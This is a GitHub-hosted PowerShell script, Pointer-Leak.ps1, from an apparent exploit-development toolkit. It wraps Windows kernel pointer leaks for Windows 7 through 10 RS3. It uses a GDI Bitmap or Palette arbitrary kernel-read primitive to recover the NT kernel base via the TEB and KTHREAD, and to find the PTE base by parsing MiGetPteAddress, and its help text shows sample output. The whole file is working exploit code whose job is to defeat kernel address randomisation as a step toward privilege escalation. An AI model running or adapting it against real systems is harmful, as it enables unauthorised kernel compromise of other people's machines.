-
Notifications
You must be signed in to change notification settings - Fork 157
/
Copy pathPointer-Leak.ps1
250 lines (231 loc) · 7.9 KB
/
Pointer-Leak.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
function Pointer-Leak {
<#
.SYNOPSIS
Pointer-Leak is a wrapper for various types of pointer leaks, more will be added over time.
Methods:
+ NT kernel base leak through the TEB (by @Blomster81)
Properties => Requires GDI primitive = LowIL compatible
Targets => 7, 8, 8.1, 10, 10RS1, 10RS2, 10RS3
+ PTE leak through nt!MiGetPteAddress (by @Blomster81 & @FuzzySec)
Properties => RS1+ requires GDI primitive, NT Kernel base = LowIL compatible
Targets => 7, 8, 8.1, 10, 10RS1, 10RS2, 10RS3
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
PS C:\Users\b33f> Pointer-Leak -GDIManager $ManagerBitmap.BitmapHandle -GDIWorker $WorkerBitmap.BitmapHandle -LeakType TebNtBase -GDIType Bitmap
KTHREAD : -35184359294848
TEBBase : 140699435483136
NtPointer : -8787002226668
NtBase : -8787003412480
.EXAMPLE
PS C:\Users\b33f> Pointer-Leak -GDIManager $Manager.PaletteHandle -GDIWorker $Worker.PaletteHandle -NtBase $NTLeak.NtBase -VirtualAddress 0xFFFFF78000000800 -LeakType MiGetPteAddress -GDIType Palette
PTEBase : -10445360463872
PTEAddress : -9913858260992
#>
param(
[Parameter(Mandatory = $True)]
[ValidateSet(
'TebNtBase',
'MiGetPteAddress')
]
[String]$LeakType,
[Parameter(Mandatory = $False)]
[IntPtr]$GDIManager,
[Parameter(Mandatory = $False)]
[IntPtr]$GDIWorker,
[Parameter(Mandatory = $True)]
[ValidateSet(
'Bitmap',
'Palette')
]
[String]$GDIType,
[Parameter(Mandatory = $False)]
[IntPtr]$NtBase,
[Parameter(Mandatory = $False)]
$VirtualAddress
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct _THREAD_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr TebBaseAddress;
public IntPtr ClientId;
public IntPtr AffinityMask;
public IntPtr Priority;
public IntPtr BasePriority;
}
public static class PtrLeak
{
[DllImport("gdi32.dll")]
public static extern int SetBitmapBits(
IntPtr hbmp,
uint cBytes,
byte[] lpBits);
[DllImport("gdi32.dll")]
public static extern int GetBitmapBits(
IntPtr hbmp,
int cbBuffer,
IntPtr lpvBits);
[DllImport("gdi32.dll")]
public static extern int SetPaletteEntries(
IntPtr hpal,
uint iStart,
uint cEntries,
byte[] lppe);
[DllImport("gdi32.dll")]
public static extern int GetPaletteEntries(
IntPtr hpal,
uint iStartIndex,
uint nEntries,
IntPtr lppe);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
UInt32 flAllocationType,
UInt32 flProtect);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool VirtualFree(
IntPtr lpAddress,
uint dwSize,
uint dwFreeType);
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationThread(
IntPtr hThread,
int ThreadInfoClass,
ref _THREAD_BASIC_INFORMATION ThreadInfo,
int ThreadInfoLength,
ref int ReturnLength);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary(
string lpFileName);
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(
IntPtr hModule,
string procName);
[DllImport("ntdll.dll")]
public static extern uint NtQueryIntervalProfile(
UInt32 ProfileSource,
ref UInt32 Interval);
public static long And(long x, long y) {return x & y;}
public static long Right(long x, int y) {return x >> y;}
}
"@
# Only 64-bit
if ([System.IntPtr]::Size -eq 4) {
Throw "`n[!] Only 64-bit is supported`n"
}
# Extended validation of params because using
# dynamic param sets is a pita + OS version
# checking required
if ($LeakType -eq "TebNtBase") {
if (!$GDIManager -Or !$GDIWorker) {
Throw "`$GDIManager,`$GDIWorker are required"
}
} else {
$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
$OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 14393) {
if (!$GDIManager -Or !$GDIWorker -Or !$NtBase -Or !$VirtualAddress) {
Throw "`$GDIManager,`$GDIWorker,`$NtBase,`$VirtualAddress are required"
}
} else {
if (!$VirtualAddress) {
Throw "`$VirtualAddress is required"
}
}
}
if ($GDIType -eq "Bitmap") {
# Arbitrary bitmap Kernel read
function GDI-Read {
param ($Address)
$CallResult = [PtrLeak]::SetBitmapBits($GDIManager, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))
[IntPtr]$Pointer = [PtrLeak]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
$CallResult = [PtrLeak]::GetBitmapBits($GDIWorker, [System.IntPtr]::Size, $Pointer)
[System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
$CallResult = [PtrLeak]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}
} else {
# Arbitrary palette Kernel read
function GDI-Read {
param ($Address)
$CallResult = [PtrLeak]::SetPaletteEntries($GDIManager, 0, $([System.IntPtr]::Size/4), [System.BitConverter]::GetBytes($Address))
[IntPtr]$Pointer = [PtrLeak]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)
$CallResult = [PtrLeak]::GetPaletteEntries($GDIWorker, 0, $([System.IntPtr]::Size/4), $Pointer)
[System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)
$CallResult = [PtrLeak]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)
}
}
# Search back for module base
function Look-Behind {
param($PtrLeak)
$MZ = 0x905a4d # MZ header
$Seek = [PtrLeak]::And($PtrLeak,0xFFFFFFFFFFFFF000)
while($true) {
$IntPtrRead = GDI-Read -Address $Seek
$PtrVal = [PtrLeak]::And($IntPtrRead,0xFFFFFF)
if ($PtrVal -eq $MZ) {
break
}
$Seek = $Seek - 0x1000
}
$Seek
}
if ($LeakType -eq "TebNtBase") {
$CurrentHandle = [PtrLeak]::GetCurrentThread()
$THREAD_BASIC_INFORMATION = New-Object _THREAD_BASIC_INFORMATION
$THREAD_BASIC_INFORMATION_SIZE = [System.Runtime.InteropServices.Marshal]::SizeOf($THREAD_BASIC_INFORMATION)
$RetLen = New-Object Int
$CallResult = [PtrLeak]::NtQueryInformationThread($CurrentHandle,0,[ref]$THREAD_BASIC_INFORMATION,$THREAD_BASIC_INFORMATION_SIZE,[ref]$RetLen)
$TEBBase = $THREAD_BASIC_INFORMATION.TebBaseAddress
$Win32ThreadInfo = GDI-Read -Address $([Int64]$TEBBase+0x78)
$KTHREAD = GDI-Read -Address $Win32ThreadInfo
$NtPtr = GDI-Read -Address $($KTHREAD+0x2a8)
$NtBase = Look-Behind -PtrLeak $NtPtr
$HashTable = @{
TEBBase = $TEBBase
KTHREAD = $KTHREAD
NtPointer = $NtPtr
NtBase = $NtBase
}
New-Object PSObject -Property $HashTable
}
if ($LeakType -eq "MiGetPteAddress") {
if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 14393) {
$KernelHanle = [PtrLeak]::LoadLibrary($($Env:SystemRoot + "\System32\ntoskrnl.exe"))
$ProcAddr = [PtrLeak]::GetProcAddress($KernelHanle, "MmFreeNonCachedMemory")
$MmFreeNonCachedMemory = $ProcAddr.ToInt64() - $KernelHanle + $NtBase
for ($i=0;$i-lt100;$i++) {
$val = ("{0:X}" -f $(GDI-Read -Address $($MmFreeNonCachedMemory + $i))) -split '(..)' | ? { $_ }
if ($val[-1] -eq "E8") {
$Offset = $MmFreeNonCachedMemory + $i
$OffsetQWORD = GDI-Read -Address $Offset
$Distance = [Int]"0x$($(("{0:X}" -f $OffsetQWORD) -split '(..)' | ? { $_ })[-5,-4,-3,-2] -join '')" # A riddle wrapped in a mystery..
$MiGetPteAddress = $Offset + $Distance + 5
break
}
}
$PTEBase = GDI-Read -Address $($MiGetPteAddress + 0x13)
} else {
$PTEBase = 0xFFFFF68000000000
}
$VirtualAddress = [PtrLeak]::Right($VirtualAddress,9)
$VirtualAddress = [PtrLeak]::And($VirtualAddress,0x7FFFFFFFF8)
$PTEAddress = $VirtualAddress + $PTEBase
$HashTable = @{
PTEBase = $PTEBase
PTEAddress = $PTEAddress
}
New-Object PSObject -Property $HashTable
}
}